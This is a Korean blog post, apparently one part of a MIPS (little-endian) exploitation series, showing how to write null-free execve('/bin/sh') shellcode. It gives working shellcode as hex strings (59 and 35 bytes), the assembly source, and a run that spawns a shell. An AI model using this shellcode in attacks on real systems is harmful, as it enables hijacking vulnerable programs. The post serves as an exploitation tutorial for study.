본문 바로가기

project/MIPS(EL) 32bit analysis

3. 쉘코드 제작

간단한 프로그램을 통한 system call을 어떤식으로 하는지 보았다.

     

     

gdb로 open해서 mkdir함수를 따라서 들어가 보면,

     

     

시스템 콜 번호를 가지고 있는 헤더는 /usr/include/mipsel-linux-gnu/asm/unistd.h 에 있다.

     

특이한 점은 기준점이 4000이고 그걸 기준으로 시스템 콜 번호가 매겨진다.

그럼 v0에는 시스템 콜 번호를 넣으면 되고, a0에는 "sanguine"문자열 주소가 들어 가 있다.

     

그럼 이제 execve를 하는 쉘코드를 만들어 보자.

execve의 시스콜 번호는 4011이다.

     

간단히 코딩해서 execve가 불릴당시 레지스터를 확인해보면 MIPS system call table을 쉽게 확인할 수 있다.

이처럼 3가지 인자는 a0, a1, a2를 통해서 전달되고 call number는 v0에 저장되어진다. 그럼 어셈으로 코딩 후 헥스값을 뽑아내 보자.

다음과 같이 intel에서 쉘코드 만들때와 같은 방식으로 했다.

//로 표시한 부분은 null이 붙어 있는 부분인데, 없애기 위해 다음과 같이 수정했다.

그리고 branch delay slot때문에 move at, at이 들어가는데, 이를 null없는 move $gp, $gp로 바꿔주었다.

근데 move $a2, $t0도 널이 있어서,

와 같이 바꿔주고

그럼 결국 뽑아낸 쉘코드는,

\x7b\x01\x10\x08\x03\x80\xe0\x21\x26\x50\x4a\x01\x21\x20\xe0\x03\xf8\xff\xa4\xaf\xfc\xff\xa8\xaf\xf8\xff\xbd\x27\x21\x28\xa0\x03\x21\x30\x40\x01\xab\x0f\x02\x24\x0c\x01\x01\x01\x72\x01\x10\x0c\x03\x80\xe0\x21\x2f\x62\x69\x6e\x2f\x73\x68

로 59 바이트 이다.

근데 쉘코드의 문제가 있엇다. jump lable이 말을 안듣는다. short jump의 명령이 intel과 달라서 생기는 문제 인듯 하다..

그래서 생각한게 bltzal명령어를 이용하여 브랜치를 발생시키지 않으면, 안전하게 리턴어드레스를 가져올 수 있다.

그래서 최종적으로 만들어낸, 무려 35바이트!의 명령어이다.

\xff\xff\x06\x28\xff\xff\xd0\x04\xff\xff\x05\x28\x01\x10\xe4\x27\x0f\xf0\x84\x24\xab\x0f\x02\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68

exploit-db에 submit은 햇다

제보하면서 자료만들면서 느낀건데, gcc로 하면 브랜치류 명령어에서 딜레이 슬롯 때문에 자동으로NOP을 넣어주는데,

as와 ld를 이용해서 컴파일 하면 그럴 필요가 없다.

대신, 섹션네임과, 심볼을 잘 줘야 한다.

 

Sanguine@debian-mipsel:~/leaveret# cat > MIPS_36b_sc.s

.section .text

.globl __start

.set noreorder

__start:

    slti $a2, $zero, -1 #set a1 to zero

p:

    bltzal $a2, p #not branch always and save ra

    slti $a1, $zero, -1 #set a1 to zero

    addu $a0, $ra, 4097 #a0 + 16

    addu $a0, $a0, -4081

    li $v0, 4011

    syscall 0x40404

    .string "/bin/sh"

Sanguine@debian-mipsel:~/leaveret# as MIPS_36b_sc.s -o MIPS_36b_sc.o

Sanguine@debian-mipsel:~/leaveret# ld MIPS_36b_sc.o -o MIPS_36b_sc

Sanguine@debian-mipsel:~/leaveret# ./MIPS_36b_sc

$ exit

 

nop 명령은 아래 사진에서 보다시피 move at, at와 일치한다.

하지만 null이 들어가기 때문에 다른 코드를 찾아 봐야 한다.

검색 해보면 add 0 0 0 을 사용하란 말도 있고 하는데, 여전히 null이 들어간다.

여러가지 테스트 해본결과 다음 2가지를 NOP대신 사용하면 될 것 같다.

move $gp, $gp #this not null 0x0380e021

move $sp, $sp #this not null 0x03a0e821

   

'project > MIPS(EL) 32bit analysis' 카테고리의 다른 글

5. RTL공격  (0) 2015.01.21
4. 쉘코드를 이용한 간단한 BOF공격  (0) 2015.01.19
2. 프로그램 분석  (0) 2015.01.19
1. 환경구성  (3) 2015.01.19